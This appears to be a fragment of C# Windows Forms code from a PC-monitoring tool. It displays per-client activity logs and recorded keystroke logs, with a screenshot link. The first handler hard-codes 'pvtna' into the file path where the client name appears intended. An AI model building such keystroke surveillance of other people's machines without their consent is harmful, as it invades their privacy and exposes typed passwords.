void but_Click(object sender, EventArgs e) { servertool = new ServerTools(); Button but = (Button)sender; label2.Text = "Activity Log of " + but.Text + " PC"; clientname = but.Text; Properties.Settings setting = new Properties.Settings(); string filepath = setting.DefaultPath + "pvtna" + "App.lab"; richTextBox1.Text = servertool.GetFile(filepath); linkLabel1.Visible = true; linkLabel1.Enabled = true; flag = true; ScreenshotLink.Tag = but.Text; }
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { Properties.Settings setting = new Properties.Settings(); if (flag) { string filepath = setting.DefaultPath + clientname + "KeyStroke.lab"; richTextBox1.Text = servertool.GetFile(filepath); linkLabel1.Text = "Activity Log"; flag = false; } else { string filepath = setting.DefaultPath + clientname + "App.lab"; richTextBox1.Text = servertool.GetFile(filepath); linkLabel1.Text = "Key Stroke"; flag = true; } }